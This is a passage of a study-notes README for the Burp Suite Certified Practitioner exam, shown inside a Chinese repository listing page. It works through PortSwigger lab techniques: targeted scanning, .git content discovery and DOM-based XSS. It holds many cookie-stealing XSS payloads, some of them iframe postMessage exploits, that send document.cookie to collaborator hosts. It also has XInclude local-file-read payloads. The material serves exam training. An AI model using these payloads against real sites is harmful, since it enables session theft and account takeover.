项目 / botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study
作者为准备 Burp Suite Certified Practitioner 考试而整理的学习笔记,对应 PortSwigger Academy 上的大量实验,并指向官方最新教材。
本站整理,非 GitHub 官方 description。
官方快照(gh_history.db,2026-11-25):总榜 未进 Top50 · 日榜 未进 Top50 · 周榜未满 7 天基线(官方不生成) · 月榜暂无官方口径;下方四卡为站内趋势聚合(周卡按上榜次数,非官方 7 日增量窗)。
以下三段按该项目自己的 GitHub README 章节摘录(可合理截断并标明);README 没有对应章节的留空,不编造。
打开[仓库 README](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study)先看开篇说明与目录,再按章节标题定位对应笔记。学习请以 [PortSwigger Academy](https://portswigger.net/web-security/all-materials) 的最新官方教材为准;本仓库是作者的备考笔记,不是考题解法。
按考试阶段分节编排目录,并附补充阅读入口。内容是个人备考笔记,最新材料以 PortSwigger Academy 为准。
来自 GitHub 仓库 README / 主页介绍正文,正文较长,已截断:保留前 20000 字符(原始 196,749 字节),完整内容见 GitHub 仓库。
# Burp Suite Certified Practitioner Exam Study
>This is my study notes with over a 110 PortSwigger Academy Labs.
>I used these labs to pass the [Burp Suite Certified Practitioner](https://portswigger.net/web-security/certification) Exam 2023.
>My [BSCP qualification](https://portswigger.net/web-security/e/c/6e42f5738e5b9bf8).
>For more informaion go to [PortSwigger Academy](https://portswigger.net/web-security/all-materials) to get latest learning materials.
----
**[SCANNING](#scanning) - Enumeration**
[Focus Scanning](#focus-scanning)
[Scan non-standard entities](#scanning-non-standard-data-structures)
**[FOOTHOLD](#foothold) - Stage 1**
[Content Discovery](#content-discovery)
[DOM-XSS](#dom-based-xss)
[XSS Cross Site Scripting](#cross-site-scripting)
[Web Cache Poison](#web-cache-poison)
[Host Headers](#host-headers)
[HTTP Request Smuggling](#http-request-smuggling)
[Brute force](#brute-force)
[Authentication](#authentication)
**[PRIVILEGE ESCALATION](#privilege-escalation) - Stage 2**
[CSRF - Account Takeover](#csrf-account-takeover)
[Password Reset](#password-reset)
[SQLi - SQL Injection](#sql-injection)
[JWT - JSON Web Tokens](#jwt)
[Prototype pollution](#prototype-pollution)
[API Testing](#api-testing)
[Access Control](#access-control)
[GraphQL API Endpoints](#graphql-api)
[CORS - Cross-origin resource sharing](#cors)
**[DATA EXFILTRATION](#data-exfiltration) - Stage 3**
[XXE - XML entities & Injections](#xxe-injections)
[SSRF - Server side request forgery](#ssrf---server-side-request-forgery)
[SSTI - Server side template injection](#ssti---server-side-template-injection)
[SSPP - Server Side Prototype Pollution](#sspp---server-side-prototype-pollution)
[LFI - File path traversal](#file-path-traversal)
[File Uploads](#file-uploads)
[Deserialization](#deserialization)
[OS Command Injection](#os-command-injection)
**[APPENDIX](#appendix)**
[Python Scripts](#python-scripts)
[Payloads](payloads/README.md)
[Word lists](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/tree/main/wordlists)
[Focus target scanning](#focus-scanning)
[Approach](#approach)
[Extra Training Content](#extra-training-content)
[My Burp Tips](#burp-exam-results)
>I can recommend doing as many as possible [Mystery lab challenge](https://portswigger.net/web-security/mystery-lab-challenge) to test your skills and decrease the time it takes you to ***identify*** the vulnerabilities, before taking the exam.
>I also found this PortSwigger advice on [Retaking your exam](https://portswigger.net/web-security/certification/exam-hints-and-guidance/retaking-your-exam?tid=SNL7Q8oXE1mjUW1rSgswXSPIjhdLL5210Y-ogEuD1GZVp1w5spKfl5OJjAtj8AAC) very informative.
>Watch [CryptoCat - Burp Suite Certified Professional (BSCP) Review + Tips/Tricks](https://youtu.be/L-3jJTGLAhc?si=Mze8eY9mjaJl1PWR) for fresh view of the BSCP exam in 2024.
----
<br><br><a href="https://www.buymeacoffee.com/botesjuan" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;" ></a>
>Thanks for the supported ***coffee***, `\o/`
[My Burp Suite Certified Practitioner certificate.](https://portswigger.net/web-security/e/c/6e42f5738e5b9bf8?utm_source=office&utm_medium=email&utm_campaign=burp-prac-cert-pass-success)
----
# Scanning
>Enumeration of the Web Applications start with initial and directed scanning in time limited engagement.
[Focus Scanning](#focus-scanning)
[Scan non-standard entities](#scanning-non-standard-data-structures)
## Focus Scanning
>Due to the tight time limit during engagements or exam, [scan defined insertion points](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing) for specific requests.

>Scanner detected **XML injection** vulnerability on storeId parameter and this lead to reading the secret Carlos file.
```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo>
```
>Out of band XInclude request, need hosted DTD to read local file.
```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
```
[PortSwigger Lab: Discovering vulnerabilities quickly with targeted scanning](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-discovering-vulnerabilities-quickly-with-targeted-scanning)
## Scanning non-standard data structures
>Scanning non-standard data structures using Burp feature to scan selected insertion point for select text in response or requests.

>Identify the vulnerability through Burp scanner issue results.
>In this case, using the identified XSS, Steal the admin user's cookies by crafting the payload in the ***identified*** insertion point.
```
'"><svg/onload=fetch(`//OASTIFY.COM/${encodeURIComponent(document.cookie)}`)>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
```
>Url encode key characters.

>Use the admin user's cookie to access the admin panel by replacing it in the current browser session.
[PortSwigger Lab: Scanning non-standard data structures](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# Foothold
# Content Discovery
>Enumeration of target start with fuzzing web directories and files. Either use the Burp engagement tools, content discovery option to find hidden paths and files or use `FFUF` to enumerate web directories and files. Looking at `robots.txt` or `sitemap.xml` that can reveal content.
```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
```
>Burp engagement tool, content discovery using my compiled word list [burp-labs-wordlist](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/wordlists/burp-labs-wordlist.txt) as custom file list.

>Examine the git repo branches on local downloaded copy, using `git-cola` tool. Then select **Undo last commit** and extract admin password from the diff window.
```
wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/
```

[PortSwigger Lab: Information disclosure in version control history](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>Always open `source code` to look for any developer comments that reveal hidden files or paths. Below example lead to [symphony token deserialization](#deserialization).

-----
## DOM-Based XSS
[DOM XSS Indicators](#identify-dom-xss)
[DOM XSS Identified with DOM Invader](#dom-invader)
[DOM XSS AngularJS](#vuln-angularjs)
[DOM XSS document.write in select](#doc-write-location-search)
[DOM XSS JSON.parse web messages](#dom-xss-jsonparse-web-messages)
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)
[DOM XSS AddEventListener Ads Message](#dom-xss-addeventlistener-ads-message)
[DOM XSS Eval Reflected Cookie Stealer](#reflected-dom-xss)
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)
### Identify DOM-XSS
>DOM-based XSS vulnerabilities arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes code to a sink that supports dynamic code execution.
>Test which characters enable the escaping out of the `source code` injection point, by using the fuzzer string below.
```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
```
>Review the `source code` to ***identify*** the **sources** , **sinks** or **methods** that may lead to exploit, list of samples:
* document.write()
* window.location
* document.cookie
* eval()
* document.domain
* WebSocket()
* element.src
* postMessage()
* setRequestHeader()
* FileReader.readAsText()
* ExecuteSql()
* sessionStorage.setItem()
* document.evaluate()
* JSON.parse
* ng-app
* URLSearchParams
* replace()
* innerHTML
* location.search
* addEventListener
* sanitizeKey()
### Dom Invader
>Using Dom Invader plug-in and set the canary to value, such as `domxss`, it will detect DOM-XSS sinks that can be exploit.

### Vulnerable AngularJS
>AngularJS expression below can be injected into the search function when angle brackets and double quotes HTML-encoded. The vulnerability is ***identified*** by noticing the search string is enclosed in an **ng-app** directive and `/js/angular 1-7-7.js` script included. Review the HTML code to ***identify*** the `ng-app` directive telling AngularJS that this is the root element of the AngularJS application.

>PortSwigger lab payload below:
```JavaScript
{{$on.constructor('alert(1)')()}}
```
>[Cookie stealer payload](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) using `on.constructor` that can be placed in iframe, hosted on an exploit server, resulting in the victim session cookie being send to Burp Collaborator.
>[PortSwigger cheat sheet for cross site scripting reference](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))
```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}
```
>**Note:** The session cookie property must not have the **HttpOnly** secure flag set in order for XSS to succeed.

[PortSwigger Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
[z3nsh3ll give an amazingly detail understanding on the constructor vulnerability in this lab on YouTube](https://youtu.be/QpQp2JLn6JA)
### Doc Write Location search
>The target is vulnerable to DOM-XSS in the stock check function. `source code` reveal ```document.write``` is the sink used with ```location.search``` allowing us to add **storeId** query parameter with a value containing the JavaScript payload inside a ```<select>``` statement.

>Perform a test using below payload to ***identify*** the injection into the modified GET request, using `">` to escape.
```html
/product?productId=1&storeId=fuzzer"></select>fuzzer
```

>DOM XSS [cookie stealer payload](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) in a `document.write` sink using source `location.search` inside a `<select>` element. This can be send to victim via exploit server in `<iframe>`. To test the cookie stealer payload I again on my browser in console added a test POC cookie to test sending it to Collaborator.
```html
"></select><script>document.location='https://OASTIFY.COM/?domxss='+document.cookie</script>//
```

[PortSwigger Lab: DOM XSS in document.write sink using source location.search inside a select element](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink-inside-select-element)
### DOM XSS JSON.parse web messages
>Target use web messaging and parses the message as JSON.
>Exploiting the vulnerability by constructing an HTML page on the exploit server,
>that exploits DOM XSS vulnerability.
#### Requirements to steal cookie using this method: same-origin execution and non-HttpOnly cookies
>**Rabbit hole:** The CORS policy `No Access-Control-Allow-Origin`header block access for Collaborator from able to access to fetch and cookie need insecure flags, look out ***Neo*** the Matrix.
>The vulnerable JavaScript code on the target using event listener that listens for a web message.
>This event listener expects a **string** that is parsed using **JSON.parse()**.
>Identify the `JSON.parse()` in page code:

>In the JavaScript below, ***identify*** the event listener expects a **type** property
>and that the **load-channel** case of the **switch** statement changes the **img src** attribute.
>***Identify*** web messages on target that is using `postmessage()` with **DOM Invader**.
```JavaScript
<script>
window.addEventListener('message', function(e) {
var img = document.createElement('img'), ACMEplayer = {element: img}, d;
document.body.appendChild(img);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
case "redirect":
window.location.replace(d.redirectUrl);
break;
}
}, false);
</script>
```
>To exploit the above `source code`,
>inject JavaScript into the **JSON** data to change "load-channel" field data
>and perform cookie stealer `document.cookie`.
>Host an **iframe** on the exploit server html body, and send it to the victim,
>resulting in the stealing of their cookie.
>***IF*** the site CORS policy is poorly configured, then if the session cookie flags are insecurely set, the victim session cookie could be stolen and send to the Burp collaboration server.
```html
<iframe src="https://0a6800740474398f80cb03590060005e.web-security-academy.net/"
onload='this.contentWindow.postMessage(
JSON.stringify({
type: "load-channel",
url: "javascript:fetch(`https://tzwi4eohn1xy81l4n1bv40na016suii7.oastify.com/?c=`+encodeURIComponent(document.cookie))"
}), "*")'>
</iframe>
```

>At the end of the iframe onload values is a "*", this is to indicate the target is any.
>Set an unsecured test cookie in browser using browser DEV tools console to use during tests for POC XSS
>[cookie stealer payloads](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md).
```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";
```

[PortSwigger Lab: DOM XSS using web messages and JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)
>DOM Invader used to identify and Testing for DOM XSS using web messages

>Replay the post message using DOM Invader after altering the JSON data.
```JSON
{
"type": "load-channel",
"url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}
```

[PortSwigger: Identify DOM XSS using PortSwigger DOM Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/web-messages)
### DOM XSS AddEventListener JavaScript URL
>Reviewing the page `source code` we ***identify*** the ```addeventlistener``` call for a web message but there is an `if` condition checking if the string contains ```http/s```.

>The exploit server hosted payload below includes the ```https``` string, and is successful in bypassing the `if` condition check.
```html
<iframe src="https://TARGET.net/" onload="this.contentWindow.postMessage('javascript:document.location=`https://OASTIFY.COM?c=`+document.cookie','*')">
```

[PortSwigger Lab: DOM XSS using web messages and a JavaScript URL](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-a-javascript-url)
### DOM XSS AddEventListener Ads Message
>In the `source code` we ***identify*** the call using ```addEventListener``` and an element id ```ads``` being referenced.

>The ```fetch``` function enclose the collaborator target inside **back ticks**, and when the iframe loads on the victim browser, the `postMessage()` method sends a web message to their home page.
```html
<iframe src="https://TARGET.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=fetch(`https://OASTIFY.COM?collector=`+btoa(document.cookie))>','*')">
```
>Replacing the Burp Lab payload ```print()``` with ```fetch()``` in the above code allow attacker to steal the victim session cookie.

[PortSwigger Lab: DOM XSS using web messages](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages)
### Reflected DOM XSS
>In the **Search** function a Reflected DOM-XSS vulnerability is ***identified*** using DOM Invader as being inside an `eval()` function.

>***Identify*** that the search JavaScript `source code` on the target, the string is reflected in a JSON response called search-results.
From the Site Map, open the `searchResults.js` file and notice that the JSON response is used with an `eval()` function call.

>Testing `\"-alert(1)}//` payload we successfully escape the `eval()`. The attacker then craft an exploit phishing link to the victim with a [cookie stealing payload](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) hosted on exploit server.
>Above payload validate that the backslash **\\** is not sanitized, and the JSON data is then send to `eval()`. Backslash is not escaped correctly and when the JSON response attempts to escape the opening double-quotes character, it adds a **second** backslash. The resulting double-backslash causes the escaping to be effectively **cancelled out**.
```JavaScript
\"-fetch('https://OASTIFY.COM?reflects='+document.cookie)}//
```
>In the above payload every character is URL encoded and used as the search parameter value. This target do not have an exploit server, so I hosted my own `python3 -m http.server 80` web service and save the `index.html` file that contain the `location` target URL between `<script>` tags.
![Reflected DOM-XSS JSON cookie stealer](images/reflected-dom-xss-json-cookie